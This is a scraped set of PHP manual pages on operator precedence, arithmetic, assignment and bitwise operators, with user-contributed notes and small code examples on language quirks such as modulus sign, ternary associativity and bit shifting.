golotyuk at gmail dot com 09-Jul-2006 06:51
Simple POST and PRE incremnt sample:

<?php

$b = 5;
$a = ( ( ++$b ) > 5 ); // Pre-increment test
echo (int)$a;

$b = 5;
$a = ( ( $b++ ) > 5 ); // Post-increment test
echo (int)$a;

?>

This will output 10, because of the difference in post- and pre-increment operations
rick at nomorespam dot fourfront dot ltd dot uk 02-Sep-2005 12:51
A quick note to any C developers out there, assignment expressions are not interpreted as you may expect - take the following code ;-

<?php
$a=array(1,2,3);
$b=array(4,5,6);
$c=1;

$a[$c++]=$b[$c++];

print_r( $a ) ;
?>

This will output;-
Array ( [0] => 1 [1] => 6 [2] => 3 )
as if the code said;-
$a[1]=$b[2];

Under a C compiler the result is;-
Array ( [0] => 1 [1] => 5 [2] => 3 )
as if the code said;-
$a[1]=$b[1];

It would appear that in php the increment in the left side of the assignment is processed prior to processing the right side of the assignment, whereas in C, neither increment occurs until after the assignment.
10-Jun-2004 02:58
of course this should be clear, but i think it has to be mentioned espacially:

AND is not the same like &&

for example:

<?php $a && $b || $c; ?>
is not the same like
<?php $a AND $b || $c; ?>

the first thing is
(a and b) or c

the second
a and (b or c)

'cause || has got a higher priority than and, but less than &&

of course, using always [ && and || ] or [ AND and OR ] would be okay, but than you should at least respect the following:

<?php $a = $b && $c; ?>
<?php $a = $b AND $c; ?>

the first code will set $a to the result of the comparison $b with $c, both have to be true, while the second code line will set $a like $b and THAN - after that - compare the success of this with the value of $c

maybe usefull for some tricky coding and helpfull to prevent bugs :D

greetz, Warhog
yasuo_ohgaki at hotmail dot com 26-Mar-2001 08:53
Other Language books' operator precedence section usually include "(" and ")" - with exception of a Perl book that I have. (In PHP "{" and "}" should also be considered also). However, PHP Manual is not listed "(" and ")" in precedence list. It looks like "(" and ")" has higher precedence as it should be.

Note: If you write following code, you would need "()" to get expected value.

<?php
$bar = true;
$str = "TEST". ($bar ? 'true' : 'false') ."TEST";
?>

Without "(" and ")" you will get only "true" in $str.
(PHP4.0.4pl1/Apache DSO/Linux, PHP4.0.5RC1/Apache DSO/W2K Server)
It's due to precedence, probably.


Operator Precedence

The precedence of an operator specifies how "tightly" it binds two expressions together. For example, in the expression 1 + 5 * 3, the answer is 16 and not 18 because the multiplication ("*") operator has a higher precedence than the addition ("+") operator. Parentheses may be used to force precedence, if necessary. For instance: (1 + 5) * 3 evaluates to 18.

When operators have equal precedence their associativity decides how the operators are grouped. For example "-" is left-associative, so 1 - 2 - 3 is grouped as (1 - 2) - 3 and evaluates to -4. "=" on the other hand is right-associative, so $a = $b = $c is grouped as $a = ($b = $c).

Operators of equal precedence that are non-associative cannot be used next to each other, for example 1 < 2 > 1 is illegal in PHP. The expression 1 <= 1 == 1 on the other hand is legal, because the == operator has lesser precedence than the <= operator.

Use of parentheses, even when not strictly necessary, can often increase readability of the code by making grouping explicit rather than relying on the implicit operator precedence and associativity.

The following table lists the operators in order of precedence, with the highest-precedence ones at the top. Operators on the same line have equal precedence, in which case associativity decides grouping.

Operator Precedence
Associativity | Operators | Additional Information
non-associative | clone new | clone and new
left | [ | array()
right | ** | arithmetic
right | ++ -- ~ (int) (float) (string) (array) (object) (bool) @ | types and increment/decrement
non-associative | instanceof | types
right | ! | logical
left | * / % | arithmetic
left | + - . | arithmetic and string
left | << >> | bitwise
non-associative | < <= > >= | comparison
non-associative | == != === !== <> | comparison
left | & | bitwise and references
left | ^ | bitwise
left | | | bitwise
left | && | logical
left | || | logical
left | ? : | ternary
right | = += -= *= **= /= .= %= &= |= ^= <<= >>= => | assignment
left | and | logical
left | xor | logical
left | or | logical
left | , | many uses

Example #1 Associativity

<?php
$a = 3 * 3 % 5; // (3 * 3) % 5 = 4
// ternary operator associativity differs from C/C++
$a = true ? 0 : true ? 1 : 2; // (true ? 0 : true) ? 1 : 2 = 2

$a = 1;
$b = 2;
$a = $b += 3; // $a = ($b += 3) -> $a = 5, $b = 5
?>

Operator precedence and associativity only determine how expressions are grouped, they do not specify an order of evaluation. PHP does not (in the general case) specify in which order an expression is evaluated and code that assumes a specific order of evaluation should be avoided, because the behavior can change between versions of PHP or depending on the surrounding code.

Example #2 Undefined order of evaluation

<?php
$a = 1;
echo $a + $a++; // may print either 2 or 3

$i = 1;
$array[$i] = $i++; // may set either index 1 or 2
?>

Note:

Although = has a lower precedence than most other operators, PHP will still allow expressions similar to the following: if (!$a = foo()), in which case the return value of foo() is put into $a.

User Contributed Notes

Antistone 28-Feb-2014 08:46
BEWARE:  Addition, subtraction, and string concatenation have equal precedence!
<?
$x = 4;
echo "x minus one equals " . $x-1 . ", or so I hope";
?>
will print "-1, or so I hope"

(Concatenate the first string literal and the value of $x, then implicitly convert that to a number (zero) so you can subtract 1 from it, then concatenate the final string literal.)
leipie at gmail dot com 12-Jun-2013 06:35
The precedence of the arrow operator (->) on objects seems to the highest of all, even higher then clone.

But you can't wrap (clone $foo)->bar() like this!
Carsten Milkau 06-Jul-2012 09:06
Beware the unusual order of bit-wise operators and comparison operators, this has often lead to bugs in my experience. For instance:

<?php if ( $flags & MASK  == 1) do_something(); ?>

will not do what you might expect from other languages. Use

<?php if (($flags & MASK) == 1) do_something(); ?>

in PHP instead.
headden at karelia dot ru 09-Jun-2009 01:02
Although example above already shows it, I'd like to explicitly state that ?: associativity DIFFERS from that of C++. I.e. convenient switch/case-like expressions of the form

$i==1 ? "one" :
$i==2 ? "two" :
$i==3 ? "three" :
"error";

will not work in PHP as expected


Arithmetic Operators

Remember basic arithmetic from school? These work just like those.

Arithmetic Operators
Example | Name | Result
-$a | Negation | Opposite of $a.
$a + $b | Addition | Sum of $a and $b.
$a - $b | Subtraction | Difference of $a and $b.
$a * $b | Multiplication | Product of $a and $b.
$a / $b | Division | Quotient of $a and $b.
$a % $b | Modulus | Remainder of $a divided by $b.
$a ** $b | Exponentiation | Result of raising $a to the $b'th power. Introduced in PHP 5.6.

The division operator ("/") returns a float value unless the two operands are integers (or strings that get converted to integers) and the numbers are evenly divisible, in which case an integer value will be returned.

Operands of modulus are converted to integers (by stripping the decimal part) before processing.

The result of the modulus operator % has the same sign as the dividend — that is, the result of $a % $b will have the same sign as $a. For example:

<?php

echo (5 % 3)."\n";           // prints 2
echo (5 % -3)."\n";          // prints 2
echo (-5 % 3)."\n";          // prints -2
echo (-5 % -3)."\n";         // prints -2

?>

See also the manual page on Math functions.

User Contributed Notes

lmc at trendicy dot com 09-Sep-2014 02:50
If you are running a php version older than 5.6, you can calculate $a ** $b by using exp($b*log($a))
hassan dot beydoun at live dot com 10-Nov-2013 04:49
<?php

//using range function()
//$numbers = array;range = value

$numbers= range (1,100);
// foreach ($array as $value)
//{Do something with $value}
foreach ($numbers as $value)
{echo "<p>This is number: $value</P>";}

?>
Andrew 17-Jul-2013 11:10
The % operator doesn't behave as many people with a maths background would expect, when dealing with negative numbers. For example, -1 mod 8 = 7, but in PHP, -1 % 8 = -1.

The following function has the expected behaviour:

function mod($a, $n) {
    return ($a % $n) + ($a < 0 ? $n : 0);
}

mod(-1, 8) returns 7 as expected.
antickon at gmail dot com 29-Mar-2012 08:04
not listed here is the absolutely useless unary plus.

<?php
$a = -3;
$a = +$a;
var_dump( $a ); // int(-3)
php at richardneill dot org 18-Apr-2011 05:13
For larger numbers (above PHP_INT_MAX), use fmod() rather than %.
The other operators (+-*/) work correctly with floats and integer overflow, but % uses integer wrap. Eg.

<?php
var_dump(0xffffffff % 2);
//Prints  int(-1)   which is WRONG

var_dump(intval(fmod(0xffffffff,2)));
//Prints int(1)   which is the right answer
?>

(The reason this matters is that PHP's float is actually a double, and can accurately represent integers up to 52-bits, even on 32-bit systems)
TheWanderer 05-Jun-2008 12:52
It is worth noticing that when working with large numbers, most noticably using the modulo operator, the results depend on your CPU architecture. Therefore, running a decent 64-bit machine will be to your advantage in case you have to perform complex mathematical operations. Here is some example code - you can compare its output on x86 and x86_64 machines:
<?php
/* tested under PHP 5.2.6-1 with Suhosin-Patch 0.9.6.2 (cli) on both i386 and amd64, Debian lenny/sid */
$a = 2863311530;
$b = 256;
$c = $a % $b;
echo "$c <br />\n";
echo (2863311530 % 256)." <br />\n"; /* directly with no variables, just to be sure */
?>

The code is expected to produce '170' if working correctly (try it in spreadsheet software).
calmarius at atw dot hu 15-May-2008 03:19
Be careful when using % with large numbers.

The code:

<?php
    echo 3333333333 % 3
?>

puts out -1 instead of zero!

(Due to the overflow)
Jonathon Reinhart 16-Oct-2006 11:11
A very simple yet maybe not obvious use of the modulus (%) operator is to check if an integer is odd or even.
<?php
  if (($a % 2) == 1)
  { echo "$a is odd." ;}
  if (($a % 2) == 0)
  { echo "$a is even." ;}
?>

This is nice when you want to make alternating-color rows on a table, or divs.

<?php
  for ($i = 1; $i <= 10; $i++) {
    if(($i % 2) == 1)  //odd
      {echo "<div class=\"dark\">$i</div>";}
    else   //even
      {echo "<div class=\"light\">$i</div>";}
   }
?>
pww8 at cornell dot edu 17-Aug-2005 11:25
It appears floating-point infinity (INF) is not returned from divide by zero (in PHP 5.0.0).  Instead a warning is given and Boolean FALSE is returned.

I searched the various manuals and did not find relevant explanation, so am adding this.
glenn at benge dot co dot nz 06-Oct-2004 08:28
a real simple method to reset an integer to a the next lowest multiple of a divisor

$startSeq = $startSeq - ($startSeq % $entriesPerPage);

if $startSeq was already a multiple, then " $startSeq % $entriesPerPage " will return 0 and $startSeq will not change.
arjini at gmail dot com 08-Sep-2004 06:48
When dealing purely with HTML, especially tables, or other things in "grids"  the modulous operator is really useful for splitting up the data with a seperator.

This snippet reads any gif files from the directory the script is in, prints them out and puts in a break every 5th image.

<?php
    $d = dir('./');
    $i = 0;
    while(false !== ($e = $d->read())){
        if(strpos($e,'.gif')){
            ++$i;
            echo '<img src="'.$e.'"/>'.chr(10);
            if(!($i%5))
                echo '<br/>';
        }
    }
?>

For tables just put </tr><tr> in place of the break.
info at sima-pc dot com 01-May-2004 11:48
Note that operator % (modulus) works just with integers (between -214748348 and 2147483647) while fmod() works with short and large numbers.

Modulus with non integer numbers will give unpredictable results.


Assignment Operators

The basic assignment operator is "=". Your first inclination might be to think of this as "equal to". Don't. It really means that the left operand gets set to the value of the expression on the right (that is, "gets set to").

The value of an assignment expression is the value assigned. That is, the value of "$a = 3" is 3. This allows you to do some tricky things:

<?php

$a = ($b = 4) + 5; // $a is equal to 9 now, and $b has been set to 4.

?>

For arrays, assigning a value to a named key is performed using the "=>" operator. The precedence of this operator is the same as other assignment operators.

In addition to the basic assignment operator, there are "combined operators" for all of the binary arithmetic, array union and string operators that allow you to use a value in an expression and then set its value to the result of that expression. For example:

<?php

$a = 3;
$a += 5; // sets $a to 8, as if we had said: $a = $a + 5;
$b = "Hello ";
$b .= "There!"; // sets $b to "Hello There!", just like $b = $b . "There!";

?>

Note that the assignment copies the original variable to the new one (assignment by value), so changes to one will not affect the other. This may also have relevance if you need to copy something like a large array inside a tight loop.

An exception to the usual assignment by value behaviour within PHP occurs with objects, which are assigned by reference in PHP 5. Objects may be explicitly copied via the clone keyword.

Assignment by Reference

Assignment by reference is also supported, using the "$var = &$othervar;" syntax. Assignment by reference means that both variables end up pointing at the same data, and nothing is copied anywhere.

Example #1 Assigning by reference

<?php
$a = 3;
$b = &$a; // $b is a reference to $a

print "$a\n"; // prints 3
print "$b\n"; // prints 3

$a = 4; // change $a

print "$a\n"; // prints 4
print "$b\n"; // prints 4 as well, since $b is a reference to $a, which has
              // been changed
?>

As of PHP 5, the new operator returns a reference automatically, so assigning the result of new by reference results in an E_DEPRECATED message in PHP 5.3 and later, and an E_STRICT message in earlier versions.

For example, this code will result in a warning:

<?php
class C {}

/* The following line generates the following error message:
 * Deprecated: Assigning the return value of new by reference is deprecated in...
 */
$o = &new C;
?>

More information on references and their potential uses can be found in the References Explained section of the manual.

User Contributed Notes

ma dot bx dot ar at gamil dot com 02-Jun-2014 07:35
Document says:
"An exception to the usual assignment by value behaviour within PHP occurs with objects, which are assigned by reference in PHP 5. Objects may be explicitly copied via the clone keyword."

But it's not very accurate! Considering this code:
<?php
$a = new StdClass;
$b = $a;

$a = new StdClass;

var_dump ($a, $b);
?>

Output:
object(stdClass)#2 (0) {
}
object(stdClass)#1 (0) {
}
Note: #2 and #1 means two different objects.

But this code:
<?php
$a = new StdClass;
$b = &$a;

$a = new StdClass;

var_dump ($a, $b);
?>

Output will be:

object(stdClass)#2 (0) {
}
object(stdClass)#2 (0) {
}

Note: Still pointing to the same object.

And this shows that that exception is not valid, PHP assignment for objects still makes a copy of variable and does not creates a real reference, albeit changing an object variable members will cause both copies to change.
So, I would say assignment operator makes a copy of 'Object reference' not a real object reference.
haubertj at alfredstate dot edu 01-Sep-2011 04:19
[[   Editor's note: You are much better off using the foreach (array_expression as $key => $value) control structure in this case   ]]

When using

<php
while ($var = current($array) {
#do stuff
next($aray)
?>

to process an array, if current($array) happens to be falsy but not === false it will still end the loop.  In such a case strict typing must be used.

Like this:

<php
while (($var = current($array)) !== FALSE) {
#do stuff
next($aray)
?>

Of course if your array may contain actual FALSE values you will have to deal with those some other way.
Peter, Moscow 11-Feb-2011 10:44
Using $text .= "additional text"; instead of $text =  $text ."additional text"; can seriously enhance performance due to memory allocation efficiency.

I reduced execution time from 5 sec to .5 sec (10 times) by simply switching to the first pattern for a loop with 900 iterations over a string $text that reaches 800K by the end.
Hayley Watson 06-Feb-2008 02:54
You could also take adam at gmail dot com's xor-assignment operator and use the fact that it's right-associative:

$a ^= $b ^= $a ^= $b;
Hayley Watson 08-Oct-2007 12:22
bradlis7 at bradlis7 dot com's description is a bit confusing. Here it is rephrased.

<?php
$a = 'a';
$b = 'b';

$a .= $b .= "foo";

echo $a,"\n",$b;?>
outputs

abfoo
bfoo

Because the assignment operators are right-associative and evaluate to the result of the assignment
<?php
$a .= $b .= "foo";
?>
is equivalent to
<?php
$a .= ($b .= "foo");
?>
and therefore
<?php
$b .= "foo";
$a .= $b;
?>
bradlis7 at bradlis7 dot com 15-Aug-2005 05:13
Note whenever you do this

<?php
$a .= $b .= "bla bla";
?>

it comes out to be the same as the following:

<?php
$a .= $b."bla bla";
$b .= "bla bla";
?>

So $a actually becomes $a and the final $b string. I'm sure it's the same with numerical assignments (+=, *=...).
straz at mac dot nospam dot com 21-Feb-2004 07:18
This page really ought to have table of assignment operators,
namely,

See the Arithmetic Operators page (http://www.php.net/manual/en/language.operators.arithmetic.php)
Assignment    Same as:
$a += $b     $a = $a + $b    Addition
$a -= $b     $a = $a - $b     Subtraction
$a *= $b     $a = $a * $b     Multiplication
$a /= $b     $a = $a / $b    Division
$a %= $b     $a = $a % $b    Modulus

See the String Operators page(http://www.php.net/manual/en/language.operators.string.php)
$a .= $b     $a = $a . $b       Concatenate

See the Bitwise Operators page (http://www.php.net/manual/en/language.operators.bitwise.php)
$a &= $b     $a = $a & $b     Bitwise And
$a |= $b     $a = $a | $b      Bitwise Or
$a ^= $b     $a = $a ^ $b       Bitwise Xor
$a <<= $b     $a = $a << $b     Left shift
$a >>= $b     $a = $a >> $b      Right shift


Bitwise Operators

Bitwise operators allow evaluation and manipulation of specific bits within an integer.

Bitwise Operators
Example | Name | Result
$a & $b | And | Bits that are set in both $a and $b are set.
$a | $b | Or (inclusive or) | Bits that are set in either $a or $b are set.
$a ^ $b | Xor (exclusive or) | Bits that are set in $a or $b but not both are set.
~ $a | Not | Bits that are set in $a are not set, and vice versa.
$a << $b | Shift left | Shift the bits of $a $b steps to the left (each step means "multiply by two")
$a >> $b | Shift right | Shift the bits of $a $b steps to the right (each step means "divide by two")

Bit shifting in PHP is arithmetic. Bits shifted off either end are discarded. Left shifts have zeros shifted in on the right while the sign bit is shifted out on the left, meaning the sign of an operand is not preserved. Right shifts have copies of the sign bit shifted in on the left, meaning the sign of an operand is preserved.

Use parentheses to ensure the desired precedence. For example, $a & $b == true evaluates the equivalency then the bitwise and; while ($a & $b) == true evaluates the bitwise and then the equivalency.

If both operands for the &, | and ^ operators are strings, then the operation will be performed on the ASCII values of the characters that make up the strings and the result will be a string. In all other cases, both operands will be converted to integers and the result will be an integer.

If the operand for the ~ operator is a string, the operation will be performed on the ASCII values of the characters that make up the string and the result will be a string, otherwise the operand and the result will be treated as integers.

Both operands and the result for the << and >> operators are always treated as integers.

PHP's error_reporting ini setting uses bitwise values,
providing a real-world demonstration of turning
bits off. To show all errors, except for notices,
the php.ini file instructions say to use:
E_ALL & ~E_NOTICE

This works by starting with E_ALL:
00000000000000000111011111111111
Then taking the value of E_NOTICE...
00000000000000000000000000001000
... and inverting it via ~:
11111111111111111111111111110111
Finally, it uses AND (&) to find the bits turned
on in both values:
00000000000000000111011111110111

Another way to accomplish that is using XOR (^)
to find bits that are on in only one value or the other:
E_ALL ^ E_NOTICE

error_reporting can also be used to demonstrate turning bits on.
The way to show just errors and recoverable errors is:
E_ERROR | E_RECOVERABLE_ERROR

This process combines E_ERROR
00000000000000000000000000000001
and
00000000000000000001000000000000
using the OR (|) operator
to get the bits turned on in either value:
00000000000000000001000000000001

Example #1 Bitwise AND, OR and XOR operations on integers

<?php
/*
 * Ignore the top section,
 * it is just formatting to make output clearer.
 */

$format = '(%1$2d = %1$04b) = (%2$2d = %2$04b)'
        . ' %3$s (%4$2d = %4$04b)' . "\n";

echo <<<EOH
 ---------     ---------  -- ---------
 result        value      op test
 ---------     ---------  -- ---------
EOH;

/*
 * Here are the examples.
 */

$values = array(0, 1, 2, 4, 8);
$test = 1 + 4;

echo "\n Bitwise AND \n";
foreach ($values as $value) {
    $result = $value & $test;
    printf($format, $result, $value, '&', $test);
}

echo "\n Bitwise Inclusive OR \n";
foreach ($values as $value) {
    $result = $value | $test;
    printf($format, $result, $value, '|', $test);
}

echo "\n Bitwise Exclusive OR (XOR) \n";
foreach ($values as $value) {
    $result = $value ^ $test;
    printf($format, $result, $value, '^', $test);
}
?>

The above example will output:

 ---------     ---------  -- ---------
 result        value      op test
 ---------     ---------  -- ---------
 Bitwise AND
( 0 = 0000) = ( 0 = 0000) & ( 5 = 0101)
( 1 = 0001) = ( 1 = 0001) & ( 5 = 0101)
( 0 = 0000) = ( 2 = 0010) & ( 5 = 0101)
( 4 = 0100) = ( 4 = 0100) & ( 5 = 0101)
( 0 = 0000) = ( 8 = 1000) & ( 5 = 0101)

 Bitwise Inclusive OR
( 5 = 0101) = ( 0 = 0000) | ( 5 = 0101)
( 5 = 0101) = ( 1 = 0001) | ( 5 = 0101)
( 7 = 0111) = ( 2 = 0010) | ( 5 = 0101)
( 5 = 0101) = ( 4 = 0100) | ( 5 = 0101)
(13 = 1101) = ( 8 = 1000) | ( 5 = 0101)

 Bitwise Exclusive OR (XOR)
( 5 = 0101) = ( 0 = 0000) ^ ( 5 = 0101)
( 4 = 0100) = ( 1 = 0001) ^ ( 5 = 0101)
( 7 = 0111) = ( 2 = 0010) ^ ( 5 = 0101)
( 1 = 0001) = ( 4 = 0100) ^ ( 5 = 0101)
(13 = 1101) = ( 8 = 1000) ^ ( 5 = 0101)

Example #2 Bitwise XOR operations on strings

<?php
echo 12 ^ 9; // Outputs '5'

echo "12" ^ "9"; // Outputs the Backspace character (ascii 8)
                 // ('1' (ascii 49)) ^ ('9' (ascii 57)) = #8

echo "hallo" ^ "hello"; // Outputs the ascii values #0 #4 #0 #0 #0
                        // 'a' ^ 'e' = #4

echo 2 ^ "3"; // Outputs 1
              // 2 ^ ((int)"3") == 1

echo "2" ^ 3; // Outputs 1
              // ((int)"2") ^ 3 == 1
?>

Example #3 Bit shifting on integers

<?php
/*
 * Here are the examples.
 */

echo "\n--- BIT SHIFT RIGHT ON POSITIVE INTEGERS ---\n";

$val = 4;
$places = 1;
$res = $val >> $places;
p($res, $val, '>>', $places, 'copy of sign bit shifted into left side');

$val = 4;
$places = 2;
$res = $val >> $places;
p($res, $val, '>>', $places);

$val = 4;
$places = 3;
$res = $val >> $places;
p($res, $val, '>>', $places, 'bits shift out right side');

$val = 4;
$places = 4;
$res = $val >> $places;
p($res, $val, '>>', $places, 'same result as above; can not shift beyond 0');

echo "\n--- BIT SHIFT RIGHT ON NEGATIVE INTEGERS ---\n";

$val = -4;
$places = 1;
$res = $val >> $places;
p($res, $val, '>>', $places, 'copy of sign bit shifted into left side');

$val = -4;
$places = 2;
$res = $val >> $places;
p($res, $val, '>>', $places, 'bits shift out right side');

$val = -4;
$places = 3;
$res = $val >> $places;
p($res, $val, '>>', $places, 'same result as above; can not shift beyond -1');

echo "\n--- BIT SHIFT LEFT ON POSITIVE INTEGERS ---\n";

$val = 4;
$places = 1;
$res = $val << $places;
p($res, $val, '<<', $places, 'zeros fill in right side');

$val = 4;
$places = (PHP_INT_SIZE * 8) - 4;
$res = $val << $places;
p($res, $val, '<<', $places);

$val = 4;
$places = (PHP_INT_SIZE * 8) - 3;
$res = $val << $places;
p($res, $val, '<<', $places, 'sign bits get shifted out');

$val = 4;
$places = (PHP_INT_SIZE * 8) - 2;
$res = $val << $places;
p($res, $val, '<<', $places, 'bits shift out left side');

echo "\n--- BIT SHIFT LEFT ON NEGATIVE INTEGERS ---\n";

$val = -4;
$places = 1;
$res = $val << $places;
p($res, $val, '<<', $places, 'zeros fill in right side');

$val = -4;
$places = (PHP_INT_SIZE * 8) - 3;
$res = $val << $places;
p($res, $val, '<<', $places);

$val = -4;
$places = (PHP_INT_SIZE * 8) - 2;
$res = $val << $places;
p($res, $val, '<<', $places, 'bits shift out left side, including sign bit');

/*
 * Ignore this bottom section,
 * it is just formatting to make output clearer.
 */

function p($res, $val, $op, $places, $note = '') {
    $format = '%0' . (PHP_INT_SIZE * 8) . "b\n";

    printf("Expression: %d = %d %s %d\n", $res, $val, $op, $places);

    echo " Decimal:\n";
    printf("  val=%d\n", $val);
    printf("  res=%d\n", $res);

    echo " Binary:\n";
    printf('  val=' . $format, $val);
    printf('  res=' . $format, $res);

    if ($note) {
        echo " NOTE: $note\n";
    }

    echo "\n";
}
?>

Output of the above example on 32 bit machines:

--- BIT SHIFT RIGHT ON POSITIVE INTEGERS ---
Expression: 2 = 4 >> 1
 Decimal:
  val=4
  res=2
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000010
 NOTE: copy of sign bit shifted into left side

Expression: 1 = 4 >> 2
 Decimal:
  val=4
  res=1
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000001

Expression: 0 = 4 >> 3
 Decimal:
  val=4
  res=0
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000000
 NOTE: bits shift out right side

Expression: 0 = 4 >> 4
 Decimal:
  val=4
  res=0
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000000
 NOTE: same result as above; can not shift beyond 0

--- BIT SHIFT RIGHT ON NEGATIVE INTEGERS ---
Expression: -2 = -4 >> 1
 Decimal:
  val=-4
  res=-2
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111110
 NOTE: copy of sign bit shifted into left side

Expression: -1 = -4 >> 2
 Decimal:
  val=-4
  res=-1
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111111
 NOTE: bits shift out right side

Expression: -1 = -4 >> 3
 Decimal:
  val=-4
  res=-1
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111111
 NOTE: same result as above; can not shift beyond -1

--- BIT SHIFT LEFT ON POSITIVE INTEGERS ---
Expression: 8 = 4 << 1
 Decimal:
  val=4
  res=8
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000001000
 NOTE: zeros fill in right side

Expression: 1073741824 = 4 << 28
 Decimal:
  val=4
  res=1073741824
 Binary:
  val=00000000000000000000000000000100
  res=01000000000000000000000000000000

Expression: -2147483648 = 4 << 29
 Decimal:
  val=4
  res=-2147483648
 Binary:
  val=00000000000000000000000000000100
  res=10000000000000000000000000000000
 NOTE: sign bits get shifted out

Expression: 0 = 4 << 30
 Decimal:
  val=4
  res=0
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000000
 NOTE: bits shift out left side

--- BIT SHIFT LEFT ON NEGATIVE INTEGERS ---
Expression: -8 = -4 << 1
 Decimal:
  val=-4
  res=-8
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111000
 NOTE: zeros fill in right side

Expression: -2147483648 = -4 << 29
 Decimal:
  val=-4
  res=-2147483648
 Binary:
  val=11111111111111111111111111111100
  res=10000000000000000000000000000000

Expression: 0 = -4 << 30
 Decimal:
  val=-4
  res=0
 Binary:
  val=11111111111111111111111111111100
  res=00000000000000000000000000000000
 NOTE: bits shift out left side, including sign bit

Output of the above example on 64 bit machines:

--- BIT SHIFT RIGHT ON POSITIVE INTEGERS ---
Expression: 2 = 4 >> 1
 Decimal:
  val=4
  res=2
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000010
 NOTE: copy of sign bit shifted into left side

Expression: 1 = 4 >> 2
 Decimal:
  val=4
  res=1
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000001

Expression: 0 = 4 >> 3
 Decimal:
  val=4
  res=0
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: bits shift out right side

Expression: 0 = 4 >> 4
 Decimal:
  val=4
  res=0
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: same result as above; can not shift beyond 0

--- BIT SHIFT RIGHT ON NEGATIVE INTEGERS ---
Expression: -2 = -4 >> 1
 Decimal:
  val=-4
  res=-2
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111110
 NOTE: copy of sign bit shifted into left side

Expression: -1 = -4 >> 2
 Decimal:
  val=-4
  res=-1
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111111
 NOTE: bits shift out right side

Expression: -1 = -4 >> 3
 Decimal:
  val=-4
  res=-1
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111111
 NOTE: same result as above; can not shift beyond -1

--- BIT SHIFT LEFT ON POSITIVE INTEGERS ---
Expression: 8 = 4 << 1
 Decimal:
  val=4
  res=8
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000001000
 NOTE: zeros fill in right side

Expression: 4611686018427387904 = 4 << 60
 Decimal:
  val=4
  res=4611686018427387904
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0100000000000000000000000000000000000000000000000000000000000000

Expression: -9223372036854775808 = 4 << 61
 Decimal:
  val=4
  res=-9223372036854775808
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=1000000000000000000000000000000000000000000000000000000000000000
 NOTE: sign bits get shifted out

Expression: 0 = 4 << 62
 Decimal:
  val=4
  res=0
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: bits shift out left side

--- BIT SHIFT LEFT ON NEGATIVE INTEGERS ---
Expression: -8 = -4 << 1
 Decimal:
  val=-4
  res=-8
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111000
 NOTE: zeros fill in right side

Expression: -9223372036854775808 = -4 << 61
 Decimal:
  val=-4
  res=-9223372036854775808
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1000000000000000000000000000000000000000000000000000000000000000

Expression: 0 = -4 << 62
 Decimal:
  val=-4
  res=0
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: bits shift out left side, including sign bit

Warning

Shifting integers by values greater than or equal to the system long integer width results in undefined behavior. In other words, don't shift more than 31 bits on a 32-bit system, and don't shift more than 63 bits on a 64-bit system.

Use functions from the gmp extension for bitwise manipulation on numbers beyond PHP_INT_MAX.

See also
pack(),
unpack(),
gmp_and(),
gmp_or(),
gmp_xor(),
gmp_testbit(),
gmp_clrbit()

User Contributed Notes

yesman at mail dot com 23-Sep-2014 12:33
There is this useful bitwise calculator online for us to make quick calculations: http://www.bitwiseoperatorcalculator.com
J. Ketting 13-Jul-2014 06:39
@zooly

Don't forget the leading zeros.
It's very important if you want to write a function similar to the assembly instructions 'ror' and 'rol' (Rotate on Right and Rotate on Left), because of dword value; rotating the binary always takes 32 positions and includes the leading zeros!
So this is the right way:

<?php

function rotate ($decimal, $bits) {

  $binary = decbin($decimal);
  $binary = str_pad($binary, 32, '0', STR_PAD_LEFT);
  return (
    bindec(substr($binary, $bits).substr($binary, 0, $bits))
  );

}

?>

Look at this assembly code:

mov edx, 1bf5616c
ror edx, 8

After this operation: edx = 0x6c1bf561 (binary: 1101100000110111111010101100001)
But your code returns 0x0d9bf561 (binary: 1101100110111111010101100001)
In order to get the right value you have to add the leading zeros by adding that line with strpad() (see above). Very important!
melnikvictorl at gmail dot com 21-Sep-2013 12:08
Nice example of bitwise operation with strings:

<?php

echo 'php' & '^_^';

// will output string PHP
sag at ich dot net 15-Jul-2013 03:52
me reimplement for bitwise NOT (~)

    protected function flipBin($number) {
        $bin = str_pad(base_convert($number, 10, 2), 32, 0, STR_PAD_LEFT);
        for ($i = 0; $i < 32; $i++) {
            switch ($bin{$i}) {
                case '0' :
                    $bin{$i} = '1';
                    break;
                case '1' :
                    $bin{$i} = '0';
                    break;
            }
        }
        return bindec($bin);
    }

the benefit is, it works with numbers greater MAX_INT
vivekanand dot pathak25 at gmail dot com 16-Mar-2013 04:59
$a =     9;
$b =     10;
echo $a & $b;

place value   128  64  32  16   8  4   2   1
